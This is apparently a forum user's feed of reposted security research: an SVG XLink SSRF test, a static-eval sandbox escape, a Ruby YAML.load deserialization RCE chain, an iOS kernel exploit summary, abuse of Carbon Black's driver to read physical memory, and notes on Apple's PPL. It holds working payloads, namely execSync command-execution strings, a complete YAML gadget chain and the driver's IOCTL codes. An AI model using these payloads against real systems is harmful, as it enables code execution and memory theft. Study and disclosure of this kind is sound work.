Jump to content

Nytro

Administrators
  • Posts

    18740
  • Joined

  • Last visited

  • Days Won

    711

Everything posted by Nytro

  1. SVG XLink SSRF fingerprinting libraries version Arbaz Hussain Mar 2 SSRF(Server-side-request-forgery) have been quite a popular attack surface for the uploading functionality where application fetches the assets from external resources in form of images,documents etc SVG is an XML based vector image used to display a variety of graphics on the Web and other environments, due it ’s XML structure it supports various XML features, one of the feature is XLink which is responsible for creating internal and external links within XML document. During the testing process, I encountered with XLINK based SSRF to enumerate various internal libraries, installed tools, gnome version’s, much more etc, POST /upload HTTP/1.1 Host: redacted.com Connection: close Content-Length: 1313 Accept: application/json, text/javascript, */*; q=0.01 Origin: https://redacted.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINZ5MzqXAud4aYrN Referer: https://redacted.com Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 ceaa2f2d25275bb5879a726eb8c04aec7b3a64f7 ------WebKitFormBoundaryINZ5MzqXAud4aYrN Content-Disposition: form-data; name="timestamp" 1551244304 ------WebKitFormBoundaryINZ5MzqXAud4aYrN Content-Disposition: form-data; name="api_key" 413781391468673 ------WebKitFormBoundaryINZ5MzqXAud4aYrN Content-Disposition: form-data; name="file"; filename="test.jpg" Content-Type: image/jpeg <?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="30" width="30" xlink:href="http://myserver:1337/" /></svg> Incoming Request at my server: Interestingly referer header shows the request has been generated from an internal network of the application which is hosting app over port 3000 Since the application is accepting SVG based images, the second try would be to include the static entities to see if the parser is allowing custom entities. <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [ <!ENTITY xml "POC for Static Entities Allowed">]> <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <text x="0" y="20" font-size="20">&xml;</text> </svg> As parser is allowing static entities, Next step would be to include SYSTEM based entities along with DTD to fetch the malicious DTD which is more like XXE attack but parser was blocking system based entities in the backend, they had strong validation of the malicious malformed XML. Since parser is blocking SYSTEM based entities our attack surface has been limited, Now it’s time to test Billion Laughs attack since application allowed static entities. Always note that: Before blinding fuzzing the various XML payloads, make sure to understand the parser logic, Before trying the billion laugh attack, I threw the server with simple callback entity function to see if the parser allows rendering of xml1 entity through callback of xml2 entity. <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [ <!ENTITY xml1 "This is my first message"> <!ENTITY xml2 "&xml1";> ]> <text x="0" y="20" font-size="20">&xml2;</text> </svg> Unfortunately, the parser is blocking the callback entities as well. Now our attack surface is at ground level (Picture present fingerprint trick) by including the internal path along with picture present in system & we get interaction if that picture present internally on the system as described by @flyod at https://hackerone.com/reports/223203 In order to enumerate all possible things, we need to build a wordlist for all possible local pictures present on the system. Now it’s time to make different port’s open or just with different paths& fuzz it along with all the internal picture path’s collected to fingerprint all possible libraries, script, tools installed along with versions. Arbaz Hussain ~Kiraak-Boy~ Sursa: https://medium.com/@arbazhussain/svg-xlink-ssrf-fingerprinting-libraries-version-450ebecc2f3c
  2. Bypassing a restrictive JS sandbox Matías Lang 2019-03-01 12:01 1 Comment Source Also available in: Español While participating in a bug bounty program, I found a site with a very interesting functionality: it allowed me to filter some data based on a user-controlled expression. I could put something like book.price > 100 to make it only show the books that are more expensive than $100. Using true as filter showed me all the books, and false didn't show anything. So I was able to know whether the expression I used was evaluating to true or false. That functionality caught my attention so I tried passing it more complex expressions, like (1+1).toString()==="2" (evaluated to true) and (1+1).toString()===5 (evaluated to false). This is clearly JavaScript code, so I guessed that the expression was being used as an argument to a function similar to eval, inside a NodeJS server. It seemed like I was close to find a Remote Code Execution vulnerability. However, when I used more complex expressions, I was getting an error saying that they were invalid. I guessed that it wasn't the eval function that parsed the expression, but a kind of sandbox system for JavaScript. Sandbox systems used to execute untrusted code inside a restricted environment are usually hard to get right. In most cases there exist ways to bypass this protections to be able to execute code with normal privileges. This is specially true if they try to limit the usage of complex, feature bloated languages like JavaScript. The problem had already caught my attention, so I decided to spend my time trying to break this sandbox system. I would learn about JavaScript internals, and gain some bucks in case of finding and exploiting the RCE. The first thing I did was identify what library the site was using to implement the sandbox, given that the NodeJS ecosystem is known for having tens of libraries that do the same thing, and in many cases all of them are doing it wrong. Maybe it was a custom sandbox library used only for the target site, but I discarded this possibility because it was really unlikely that the developers spent their time doing this kind of things. Finally, by analyzing the app error messages I concluded that they were using static-eval, a not very known library (but written by substack, somebody well known in the NodeJS community). Even if the original purpose of the library wasn't to be used as a sandbox (I still don't understand what it was created for), its documentation suggests that. In the case of the site I was testing, it certainly was being used as a sandbox. Breaking static-eval The idea of static-eval is to use the esprima library to parse the JS expression and convert it to an AST (Abstract Syntax Tree). Given this AST and an object with the variables I want to be available inside the sandbox, it tries to evaluate the expression. If it finds something strange, the function fails and my code isn't executed. At first I was a bit demotivated because of this, since I realized that the sandbox system was very restrictive with what it accepted. I wasn't even able to use a for or while statement inside my expression, so doing something that required an iterative algorithm was almost impossible. Anyway, I kept trying to find a bug in it. I did not find any bug at first sight, so I looked at the commits and pull requests of the static-eval GitHub project. I found that the pull request #18 fixed two bugs that allowed a sandbox escape in the library, exactly what I was looking for. I also found a blog post of the pull request author that explained this vulnerabilities in depth. I immediately tried using this techniques in the site I was testing, but unfortunately to me, they were using a newer static-eval version that already patched this vulns. However, knowing that somebody has already been able to break this library made me more confident so I kept looking for new ways to bypass it. Then, I analyzed this two vulns in depth, hoping this could inspire me to find new vulnerabilities in the library. Analysis of the first vulnerability The first vuln used the function constructor to make a malicious function. This technique is frequently used to bypass sandboxes. For example, most of the ways to bypass the angular.js sandbox to get an XSS use payloads that end up accessing and calling the function constructor. It was also used to bypass libraries similar to static-eval, like vm2. The following expression shows the existence of the vulnerability by printing the system environment variables (this shouldn't be possible because the sandbox should block it): "".sub.constructor("console.log(process.env)")() In this code, "".sub is a short way to obtain a function ((function(){}) would also work). Then it access to the constructor of that function. That is a function that when called returns a new function whose code is the string passed as argument. This is like the eval function, but instead of executing the code immediately, it returns a function that will execute the code when called. That explains the () at the end of the payload, that calls the created function. You can do more interesting things than showing the environment variables. For example, you can use the execSync function of the child_process NodeJS module to execute operating system commands and return its output. This payload will return the output of running the id command: "".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")() The payload is similar to the previous one, except for the created function's body. In this case, global.process.mainModule.constructor._load does the same as the require function of NodeJS. For some reason I ignore, this function isn't available with the name require inside the function constructor, so I had to use that ugly name. The fix for this vulnerability consisted in blocking the access to properties of objects that are a function (this is done with typeof obj == 'function'😞 else if (node.type === 'MemberExpression') { var obj = walk(node.object); // do not allow access to methods on Function if((obj === FAIL) || (typeof obj == 'function')){ return FAIL; } This was a very simple fix, bit it worked surprisingly well. The function constructor is available, naturally, only in functions. So I can't get access to it. An object's typeof can't be modified, so anything that is a function will have its typeof set to a function. I didn't find a way to bypass this protection, so I looked at the second vuln. Analysis of the second vuln This vuln was way more simple and easy to detect than the first one: the problem was that the sandbox allowed the creation of anonymous functions, but it didn't check their body to forbid malicious code. Instead, the body of the function was being directly passed to the function constructor. The following code has the same effect than the first payload of the blog post: (function(){console.log(process.env)})() You can also change the body of the anonymous function so it uses execSync to show the output of executing a system command. I'll leave this as an exercise for the reader. One possible fix for this vulnerability would be to forbid all anonymous function declarations inside static-eval expressions. However, this would block the legitimate use cases of anonymous functions (for example, use it to map over an array). Because of this, the fix would have to allow the usage of benign anonymous functions, but to block the usage of malicious ones. This is done by analyzing the body of the function when it is defined, to check it won't perform any malicious actions, like accessing the function constructor. This fix turned out to be more complex than the first one. Also, Matt Austin (the author of the fix) said he wasn't sure it would work perfectly. So I decided to find a bypass to this fix. Finding a new vulnerability One thing that caught my attention was that static-eval decided whether the function was malicious or not at definition time, and not when it was being called. So it didn't consider the value of the function arguments, because that would require to make the check when the function is called instead. My idea was always trying to access the function constructor, in a way that bypasses the first fix that forbids that (because I'm not able to access properties of functions). However, what would happen if I try to access the constructor of a function parameter? Since its value isn't known at definition time, maybe this could confuse the system and make it allow that. To test my theory, I used this expression: (function(something){return something.constructor})("".sub) If that returned the function constructor, I would have a working bypass. Sadly for me, it wasn't the case. static-eval will block the function if it accesses a property of something with an unknown type at function definition time (in this case, the something argument). One useful feature of static-eval that is used in almost all cases, is allowing to specify some variables you want to be available inside the static-eval expression. For example, in the beginning of the blog post I used the expression book.price > 100. In this case, the code calling static eval will pass it the value of the book variable so it can be used inside the expression. This gave me another idea: what would happen if I make an anonymous function with an argument whose name is the same as an already defined variable? Since it can't know the value of the argument at definition time, maybe it uses the initial value of the variable. That would be very useful to me. Suppose I have a variable book and its initial value is an object. Then, the following expression: (function(book){return book.constructor})("".sub) would have a very satisfactory result: when the function is defined, static-eval would check if book.constructor is a valid expression. Since book is initially an object (whose typeof is object) and not a function, accessing to its constructor is allowed and the function will be created. However, when I call this function, book will take the value passed as argument to the function (this is "".sub, another function). Then it will access and return its constructor, effectively returning the function constructor. Sadly, this didn't work either because the author of the fix considered this case. At the moment of analyzing the function's body, the value of all its arguments it set to null, overriding the initial value of the variables. This is a fragment of the code doing that: node.params.forEach(function(key) { if(key.type == 'Identifier'){ vars[key.name] = null; } }); This code takes the AST node that defines the function, iterates over each of its parameters whose type is Identifier, takes its name and sets to null the attribute of vars with that name. Even if the code looks correct, it has a very common bug: it doesn't cover all possible cases. What would happen if an argument is something strange and its type isn't Identifier? instead of doing something sane and saying "I don't know what this is, so I'll block the entire function" (like in a whitelist), it will ignore that argument and continue with the rest (like a blacklist). This means that if I make a node representing a function argument have a type different from Identifier, the value of the variable with that name won't be overwritten, so it would use the initial value. At this time I was pretty confident that I found something important. I only needed to find how to set the key.type to something different from Identifier. As I commented before, static-eval uses the esprima library to parse the code we give to it. According to its documentation, esprima is a parser that fully supports the ECMAScript standard. ECMAScript is something like a dialect of JavaScript with more features, that makes its syntax more comfortable to the user1. One feature that was added to ECMAScript is function parameter destructuring. With this feature, the following JS code is now valid: function fullName({firstName, lastName}){ return firstName + " " + lastName; } console.log(fullName({firstName: "John", lastName: "McCarthy"})) The curly braces inside the definition of the function arguments indicate that the function doesn't take two arguments firstName and lastName. Instead, it takes just one argument that is an object that must have the firstName and lastName properties. The previous code is equivalent to the following: function fullName(person){ return person.firstName + " " + person.lastName; } console.log(fullName({firstName: "John", lastName: "McCarthy"})) If we see the AST generated by esprima (I did it by using this tool), we will have a very satisfactory result: Indeed, this new syntax makes the function argument have a key.type different from Identifier, so static-eval won't use it when it overrides the variables. This way, when evaluating (function({book}){return book.constructor})({book:"".sub}) static-eval will use the initial value of book, that is an object. Then, it allows the creation of the function. But when it is called, book will be a function, so the function constructor is now returned. I found the bypass! The previous expression returns the function constructor, so I only have to call it to create a malicious function, and then call this created function: (function({book}){return book.constructor})({book:"".sub})("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")() I tried evaluating this expression in a local environment with the last version of static-eval, and I got what I was expecting: Mission accomplished! I found a bypass to the static-eval library allowing me to get code execution in the machine that uses it. The only required condition to make it work was knowing the name of a variable whose value isn't a function, and that has a constructor attribute. Both strings, numbers, arrays and objects fulfill this property, so it should be easy to achieve this condition. I only needed to use this technique in the site I was testing, get a PoC of the RCE and claim my money. Pretty simple. Or maybe not? Discovering that the exploit didn't work in my target Unfortunately, not. After doing all this work and find an elegant and functional bypass, I realized that it was not going to work in the site I was testing. The only condition required was to have the name of a variable whose value isn't a function, so you might be thinking I couldn't get it to make my technique work. However, it did satisfy this condition. The reason it didn't work is even more bizarre. To give some context, the site wasn't using static-eval directly. It was using it through the jsonpath npm library. JSONPath is a query language with the same purpose as XPATH but made for JSON documents instead of XML ones. It was initially published in 2007 in this article. After reading the JSONPath documentation, I realized that it is a very poor project, with a really vague specification about how it should work. Most of the features it implements were probably made in an afterthought, without properly considering if adding them was worth it, or if it was just a bad idea. It's a shame that the NodeJS ecosystem is full of libraries like this one. JSONPath has a feature called filter expressions, that allows filtering documents that match a given expression. For example, $.store.book[?(@.price < 10)].title will get the books cheaper than $10, and then get their title. In the case of the jsonpath npm library, the expression between parenthesis is evaluated using static-eval. The site I was testing allowed me to specify a JSONPath expression and parsed it with that library, so the RCE there was evident. If we see the previous JSONPath expression in detail, we can see that the expression passed to static-eval is @.price < 10. According to the documentation, @ is a variable containing the document being filtered (usually it is an object). Unfortunately, the creator of JSONPath had the idea to name this variable @. According to the ECMAScript specification, this isn't a valid variable name. So to make static-eval work, they had to do a horrible thing that is patching the esprima code so it considers @ as a valid variable name. When you create an anonymous function in static-eval, it is embedded into another function that takes as argument the already defined variables. So if I create an anonymous function inside a JSONPath filter expression, it will create a function wrapping it that takes an argument named @. This is done by directly calling the function constructor, so it doesn't use the esprima patch of before. Then, when defining the function, it'll throw an error that I won't be able to avoid. This is just a bug in the library, that makes it fail when defining functions (both benign and malicious) inside filter expressions. And because of this, my bypass technique won't work with this library. Just because of the horrible decision of naming a variable @ in a library that is used mainly in JS, where @ isn't a valid variable name in JS, I wasn't able to exploit the RCE in the site and obtain a 4-digit bounty. Why wouldn't the author name it _ (that is a valid variable name), document or joseph!! This time, I'll have to settle only with having discovered a great vulnerability in the library, and having learned a lot about JavaScript. Conclusions Even if I wasn't able to get the bounty I was expecting, I had a really good time playing with this library. And I used the concepts I learned to bypass a different kind of restricted JS environments, this time getting an economic reward. I hope to publish this other research soon. I want to mention again the great previous work done by Matt Austin about static-eval. Without this material, maybe I wouldn't have found this new vulnerability. As a general recommendation when testing a system, it is always tempting to replicate and isolate one feature of it in a local environment we control, so we can play with it more freely. In my case, I made a Docker instance with the static-eval library to try bypassing the sandbox. My problem was that I only used this instance during the whole research, without corroborating that what I was doing was valid in the real site. If I had done this before, maybe I would have noticed this wasn't going to work and I'd have moved to something else. The lesson learned is that you shouldn't abstract so much over a whole system, and that you should continuously test what you found in the real system, instead of doing it just at the end of your research. Finally, if you're auditing a site that has a similar system that evaluates user-controlled expressions inside a sandbox, I highly recommend you to play with it a considerable amount of time. It would be strange to find a sandbox system free of vulnerabilities, specially if it executes dynamic, fully-featured programming languages like JavaScript, Python or Ruby. And when you find this kind of sandbox bypass vulns, they usually have a critical impact in the application that contains them. I hope you enjoyed this post. Greetings! Extra: Cronology of the vuln 01/02/19 - Report of the vulnerability submitted both to the NodeJS security team and to the static-eval mantainer. You can read the original report here 01/03/19 - The NodeJS security team replicated the bug. The told me they were going to contact the library mantainer and publish an advisory if he didn't respond to the report 02/14/19 - Advisory officially published in the nmpjs site 02/15/19 - The library was fixed and a new version of it was released 02/18/19 - The library's README file was updated to add a disclaimer saying that the library shouldn't be used as a sandbox 02/26/19 - A new fix was applied to the library because my original fix had a bug and static-eval was still vulnerable It's worth noting that this is a pretty vague and incorrect definition of what ECMAScript is. My indifference to the JavaScript ecosystem makes me don't even bother in finding a more correct definition. ↩ Sursa: https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/
  3. _staaldraad staaldraad Universal RCE with Ruby YAML.load March 2, 2019 Last year Luke Jahnke wrote an excellent blog post on the elttam blog about finding a universal RCE deserialization gadget chain for Ruby 2.x. In the post he discusses the process of finding and eventually exploiting a gadget chain for Marshal.load. I was curious if the same chain could be used with YAML.load. It has been shown before that using YAML.load with user supplied data is bad, but all the posts I could find focuses on Ruby on Rails (RoR). Wouldn’t it be nice to have a gadget chain to use in non-RoR applications? Plan of Action Initially I decided to reuse the excellent work already done by Luke, since my Ruby skills aren’t that great and I’m lazy. So I inserted YAML.dump(payload) into his script. Unfortunately this failed, with the following yaml file being created: --- !ruby/object:Gem::Requirement requirements: - - ">=" - !ruby/object:Gem::Version version: '0' At the offset it is pretty obvious that this isn’t going to give us RCE. There is no RCE payload present and none of the original gadget chain is present. One of the key points from the elttam blog post is that marshal_dump is used to setup the @requirements global as follows: class Gem::Requirement def marshal_dump [$dependency_list] end end Thus it would be necessary to find a way to set @requirements for the YAML payload. Unfortunately there isn’t an equivalent method yaml_dump. So the @requirements will need to be initialized in another way. The created yaml does provide us with a clue on how to get @requirements set and by reading the documentation for the Gem::Requirement gem you’ll note that the gem can be initialized with requirements, which can be Gem::Versions, Strings or Arrays. An empty set of requirements is the same as “>= 0”, which seems to match up with what we see in the generated YAML. How about using Gem::Requirement.new($dependency_list) instead of the current Gem::Requirement.new for our payload? puts "Generate yaml" payload2 = YAML.dump(Gem::Requirement.new($dependency_list)) puts payload2 puts "STEP yaml" YAML.load(payload2) rescue nil puts This “works”, meaning the RCE happens, unfortunately there is no valid YAML produced. The reason for this is that an exception occurs right at the end of the gadget chain in specific_file.rb. Generate yaml uid=500(rubby) gid=500(rubby) groups=500(rubby) /usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:155:in `name': undefined method `name' for nil:NilClass (NoMethodError) from /usr/lib/ruby/2.3.0/rubygems/source/specific_file.rb:65:in `<=>' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `sort' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `tsort_each_child' from /usr/lib/ruby/2.3.0/tsort.rb:415:in `call' from /usr/lib/ruby/2.3.0/tsort.rb:415:in `each_strongly_connected_component_from' from /usr/lib/ruby/2.3.0/tsort.rb:349:in `block in each_strongly_connected_component' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `each' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `tsort_each_node' from /usr/lib/ruby/2.3.0/tsort.rb:347:in `call' from /usr/lib/ruby/2.3.0/tsort.rb:347:in `each_strongly_connected_component' from /usr/lib/ruby/2.3.0/tsort.rb:281:in `each' from /usr/lib/ruby/2.3.0/tsort.rb:281:in `to_a' from /usr/lib/ruby/2.3.0/tsort.rb:281:in `strongly_connected_components' from /usr/lib/ruby/2.3.0/tsort.rb:257:in `strongly_connected_components' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:76:in `dependency_order' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:99:in `each' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:107:in `map' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:107:in `inspect' from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:101:in `parse' from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:131:in `block in initialize' from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:131:in `map!' from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:131:in `initialize' from ex.rb:49:in `new' from ex.rb:49:in `<main>' At this point I tried a few variations of changing $dependency_list to only contain part of the gadget chain, but hit a new exception each step of the way. The manual way Instead of bashing my head against Ruby, I decided I’ll create the YAML manually. This meant modifying the previously generated YAML to have our gadget chain instead of the Gem::Version. The first bit of this was really easy, simply switch out !ruby/object:Gem::Version for !ruby/object:Gem::DependecyList: --- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList Trying to load this with YAML.load now results in a new error: /usr/lib/ruby/2.3.0/rubygems/requirement.rb:272:in `fix_syck_default_key_in_requirements': undefined method `each' for nil:NilClass (NoMethodError) from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:207:in `yaml_initialize' from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:211:in `init_with' <..snip..> Clearly the code ends up at the trigger point in the method fix_syck_default_key_in_requirements, so we are probably on the right track. Next I did the lazy debug of simply adding a puts @requirements in the file requirement.rb at line 270. This outputs #<Gem::DependencyList:0x000000026f2b68> This means the YAML so far is correct and we are getting the Gem::Requirement to be initialized with a payload controlled by us. From here on it was simply a process of following the elttam blog post and the gadget chain to make sure all the different components are present in the YAML file. The next part is getting the .each call to succeed. The above error tells us that there is a nil:NilClass when calling this, which makes perfect sense if you read the blog post it was found that a call to it’s each instance method will result in the sort method being called on it’s @specs instance variable Now we need to ensure that @specs is defined in the YAML file. Based on the blog post and the sample script, we know this needs to be an array of Gem::Source::SpecificFile. In YAML this would be specs: - !ruby/object:Gem::Source::SpecificFile - !ruby/object:Gem::Source::SpecificFile One of the Gem::Source::SpecificFile needs to have a spec instance variable of type Gem::StubSpecification and this in turn has the payload for RCE in the loaded_from variable. Putting all this information together (took some trial and error), we end up with: --- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList specs: - !ruby/object:Gem::Source::SpecificFile spec: &1 !ruby/object:Gem::StubSpecification loaded_from: "|id 1>&2" - !ruby/object:Gem::Source::SpecificFile spec: Using the following Ruby script to test the payload: require "yaml" YAML.load(File.read("p.yml")) The outcome is RCE, and the original error seen when trying to do YAML.dump in the first place. rubby@rev:/tmp$ ruby b.rb uid=500(rubby) gid=500(rubby) groups=500(rubby) /usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:155:in `name': undefined method `name' for nil:NilClass (NoMethodError) from /usr/lib/ruby/2.3.0/rubygems/source/specific_file.rb:65:in `<=>' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `sort' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `tsort_each_child' from /usr/lib/ruby/2.3.0/tsort.rb:415:in `call' from /usr/lib/ruby/2.3.0/tsort.rb:415:in `each_strongly_connected_component_from' from /usr/lib/ruby/2.3.0/tsort.rb:349:in `block in each_strongly_connected_component' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `each' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `tsort_each_node' from /usr/lib/ruby/2.3.0/tsort.rb:347:in `call' from /usr/lib/ruby/2.3.0/tsort.rb:347:in `each_strongly_connected_component' from /usr/lib/ruby/2.3.0/tsort.rb:281:in `each' from /usr/lib/ruby/2.3.0/tsort.rb:281:in `to_a' from /usr/lib/ruby/2.3.0/tsort.rb:281:in `strongly_connected_components' from /usr/lib/ruby/2.3.0/tsort.rb:257:in `strongly_connected_components' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:76:in `dependency_order' from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:99:in `each' from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:272:in `fix_syck_default_key_in_requirements' from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:207:in `yaml_initialize' from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:211:in `init_with' from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:382:in `init_with' from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:374:in `revive' from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping' from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:16:in `visit' from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:6:in `accept' from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:32:in `accept' from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:311:in `visit_Psych_Nodes_Document' from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:16:in `visit' from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:6:in `accept' from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:32:in `accept' from /usr/lib/ruby/2.3.0/psych/nodes/node.rb:38:in `to_ruby' from /usr/lib/ruby/2.3.0/psych.rb:253:in `load' from b.rb:3:in `<main>' rubby@rev:/tmp$ I’m not sure if it’s possible to completely get rid the error, but then again, I achieved my initial goal of RCE and don’t feel like staring at more Ruby. As always, never use YAML.load with user supplied data, better yet, stick to using SafeYAML. Payload: https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565 Sursa: https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/
  4. machswap2 An iOS kernel exploit for iOS 11 - 12.1.2. Based on the task_swap_mach_voucher bug (CVE-2019-6225), joint-discovered/released by @S0rryMyBad and @bazad. Somewhat loosely based on @s1guza's v0rtex exploit, and @tihmstar's v3ntex exploit. Works on A7 - A11 devices (no A12 as I have no A12 device). Many thanks to @s1guza, @littlelailo, and @qwertyoruiopz. Twitter - https://twitter.com/iBSparkes Sursa: https://github.com/PsychoTea/machswap2
  5. Bill Demirkapi's Blog The adventures of a 17 year old security researcher. Blog About Reading Physical Memory using Carbon Black's Endpoint driver Enterprises rely on endpoint security software in order to secure machines that have access to the enterprise network. Usually considered the next step in the evolution of anti-virus solutions, endpoint protection software can protect against various attacks such as an employee running a Microsoft Word document with macros and other conventional attacks against enterprises. In this article, I’ll be looking at Carbon Black’s endpoint protection software and the vulnerabilities attackers can take advantage of. Everything I am going to review in this article has been reported to Carbon Black and they have said it is not a real security issue because it requires Administrator privileges. Driver Authentication The Carbon Black driver (cbk7.sys) has a basic authentication requirement before accepting IOCTLs. After opening the “\\.\CarbonBlack” pipe, you must send "good job you can use IDA, you get a cookie\x0\x0\x0\x0\x0\x0\x0\x0" with the IOCTL code of 0x81234024. Setting Acquisition Mode The acquisition mode is a value the driver uses to determine what method to take when reading physical memory, we’ll get into this in the next section. To set the acqusition mode, an attacker must send the new acquisition value in the input buffer for the IOCTL 0x8123C144 as an uint32_t. Physical Memory Read Accesss The Carbon Black Endpoint Sensor driver has an IOCTL (0x8123C148) that allows you to read an arbitrary physical memory address. It gives an attackers three methods/options of reading physical memory: If Acquisition Mode is set to 0, the driver uses MmMapIoSpace to map the physical memory then copies the data. If Acquisition Mode is set to 1, the driver opens the “\Device\PhysicalMemory” section and copies the data. If Acquisition Mode is set to 2, the driver translates the physical address to a virtual address and copies that. To read physical memory, you must send the following buffer: struct PhysicalMemReadRequest { uint64_t ptrtoread; // The physical memory address you'd like to read. uint64_t bytestoread; // The number of bytes to read. }; The output buffer size should be bytestoread. CR3 Access Carbon Black was nice enough to have another IOCTL (0x8123C140) that gives a list of known physical memory ranges (calls MmGetPhysicalMemoryRanges) and provides the CR3 register (Directory Base). This is great news for an attacker because it means they don’t have to predict/bruteforce a directory base and instead can convert a physical memory address directly to a kernel virtual address with ease (vice-versa too!). To call this IOCTL, you need to provide an empty input buffer and output buffer with a minimum size of 0x938 bytes. To get the CR3, simply do *(uint64t_t*)(outputbuffer). Impact You might ask what’s the big deal if you need administrator for this exploit. The issue I have is that the Carbon Black endpoint software will probably not be on an average home PC, rather on corporate endpoints. If a company is willing to purchase a software such as Carbon Black to protect their endpoints, they’re probably doing other secure measures too. This might include having a whitelisted driver system, secure boot, LSA Protection, etc. If an attacker gains administrator on the endpoint (i.e if parent process was elevated), then they could not only disable the protection of Carbon Black, but could use their driver to read sensitive information (like the memory of lsass.exe if LSA Protection is on). My point is, this vulnerability allows an attacker to use a whitelisted driver to access any memory on the system most likely undetected by any anti-virus on the system. I don’t know about you, but to me this is not something I’d accept from the software that’s supposed to protect me. The hash of the cbk7.sys driver is ec5b804c2445e84507a737654fd9aae8 (MD5) and 2afe12bfcd9a5ef77091604662bbbb8d7739b9259f93e94e1743529ca04ae1c3 (SHA256). Written on February 14, 2019 Sursa: https://d4stiny.github.io/Reading-Physical-Memory-using-Carbon-Black/
  6. Casa De P(a)P(e)L Explaining Apple's Page Protection Layer in A12 CPUs Jonathan Levin, (@Morpheus______), http://newosxbook.com/ - 03/02/2019 About Apple's A12 kernelcaches, aside from being "1469"-style (monolithic and stripped), also have additional segments marked PPL. These pertain to a new memory protection mechanism introduced in those chips - of clear importance to system security (and, conversely, JailBreaking). Yet up till now there is scarcely any mention of what PPL is, and/or what it does. I cover pmap and PPL in the upcoming Volume II, but seeing as it's taking me a while, and I haven't written any articles in just about a year (and fresh off binge watching the article's title inspiration I figured that some detail in how to reverse engineer PPL would be of benefit to my readers. So here goes. You might want to grab a copy of the iPhone 11 (whichever variant, doesn't matter) iOS 12 kernelcache before reading this, since this is basically a step by step tutorial. Since I'm using jtool2, you probably want to grab the nightly build so you can follow along. This also makes for an informal jtool2 tutorial, because anyone not reading the WhatsNew.txt might not be aware of the really powerful features I put into it. Kernelcache differences As previously mentioned, A12 kernelcaches have new PPL* segments, as visible with jtool2 -l: morpheus@Chimera (~) % jtool2 -l ~/Downloads/kernelcache.release.iphone11 | grep PPL opened companion file ./kernelcache.release.iphone11.ARM64.AD091625-3D05-3841-A1B6-AF60B4D43F35 LC 03: LC_SEGMENT_64 Mem: 0xfffffff008f44000-0xfffffff008f58000 __PPLTEXT Mem: 0xfffffff008f44000-0xfffffff008f572e4 __PPLTEXT.__text LC 04: LC_SEGMENT_64 Mem: 0xfffffff008f58000-0xfffffff008f68000 __PPLTRAMP Mem: 0xfffffff008f58000-0xfffffff008f640c0 __PPLTRAMP.__text LC 05: LC_SEGMENT_64 Mem: 0xfffffff008f68000-0xfffffff008f6c000 __PPLDATA_CONST Mem: 0xfffffff008f68000-0xfffffff008f680c0 __PPLDATA_CONST.__const LC 07: LC_SEGMENT_64 Mem: 0xfffffff008f70000-0xfffffff008f74000 __PPLDATA Mem: 0xfffffff008f70000-0xfffffff008f70de0 __PPLDATA.__data These segments each contain one section, and thankfully are pretty self explanatory. We have: __PPLTEXT.__text: The code of the PPL layer. __PPLTRAMP.__text: containing "trampoline" code to jump into the __PPLTEXT.__text __PPLDATA.__data: r/r data __PPLDATA_CONST.__const: r/o data. The separation of PPLDATA from PPLDATA_CONST.__const is similar to the kernelcache using __DATA and __DATA_CONST, so KTRR can kick in and protect the constant data from being patched. The PPLTRAMP hints that there is a special code path which must be taken in order for PPL to be active. Presumably, the chip can detect those "well known" segment names and ensure PPL code 